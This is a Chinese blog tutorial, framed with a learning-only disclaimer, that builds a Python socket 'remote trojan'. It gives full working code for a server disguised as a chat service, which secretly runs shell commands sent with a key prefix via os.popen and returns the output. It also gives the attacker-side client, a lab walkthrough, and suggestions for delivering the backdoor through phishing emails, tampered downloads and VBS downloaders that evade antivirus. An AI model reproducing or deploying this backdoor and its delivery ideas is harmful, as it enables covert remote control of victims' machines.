| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。
参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客
还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码
import socket, os
# 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
def attack():
s = socket.socket()
try:
s.bind(("0.0.0.0", 6666))
s.listen()
chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
while True:
recive_content = chanel.recv(1024).decode()
if recive_content.startswith("+=+=+"):
# 非正常业务
# 后门代码,key 是 +=+=+# ,后面加命令,就可以执行了
command = recive_content.split("#")[-1]
result = os.popen(command).read()
# 回传信息
chanel.send(result.encode())
else:
# 正常的会话(正常业务)
print(recive_content)
# 价值一个亿的人工智能代码↓(doge)
response_content = recive_content.replace("吗?", "!")
chanel.send(response_content.encode())
except:
# 防止服务器因报错停止
s.close
attack()
if __name__ == '__main__':
attack()
import socket
# 获取socket对象
s = socket.socket()
# 连接TCP服务器 下面这个ip是我的 被攻击机的ip,在下面的实验中可知
s.connect(("192.168.121.133", 6666))
while True:
content = input("请输入要传到服务器的数据:")
# content = "+=+=+#" + content # 只要执行命令的话就打开这行代码,自动补充了key
s.send(content.encode())
# 传回数据
recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点,防止回传信息过多而无法接收
print(recive_content)
客户端(攻击端):win10: ip:????(不需要知道)
服务端(被攻击端):Ubuntu: ip :192.168.121.132
1、Ubuntu中
将TCP服务端代码放到 Ubuntu 中,并执行,就会在特定端口打开服务
如下:
开启前:在终端输入 netstat -ant 查看端口情况
现在我们开启服务:
再输入 netstat -ant 会发现 6666 端口已经开启监听
2、Win10中
在win10中,我们直接运行 客户端代码,就可以和服务器建立一个 TCP 连接,并开始传数据
于是我们可以开始干点猥琐的事情,比如....查看ip!(实在是太猥琐了)
看完上面的,你会说,别人又不傻,怎么会来执行你的脚本,不过这就涉及到社工了,总有办法的。
比如如果对方有执行代码的环境,那么也许我们可以发个邮件给别人,点开链接,进入某个我们自己写的网站,然后下载一些py程序,或者干脆下载一个应用,然后把后门放进去,由于每台windows都可以直接执行 vbs 文件,所以老旧的办法是用vbs写中间下载代码,绕过杀毒软件(免杀),然后下载真后门,不过现在好像杀毒软件都比较吊,有点难绕...以上仅是攻击讨论猜测,纯属玩笑话,看看就好。
在实验过程中,发现其实这个服务端代码写的仍然有点问题,应该是阻塞的问题,当我们在客户端中输入了错误的命令时,服务端会发生阻塞,客户端就得不到任何回显了,当然我们可以重启客户端(这是我们能做的),就可以重新发命令。
然后有的时候会莫名其妙产生BUG,估计也和操作系统有关系,不太懂了。以后学到了再回头说吧。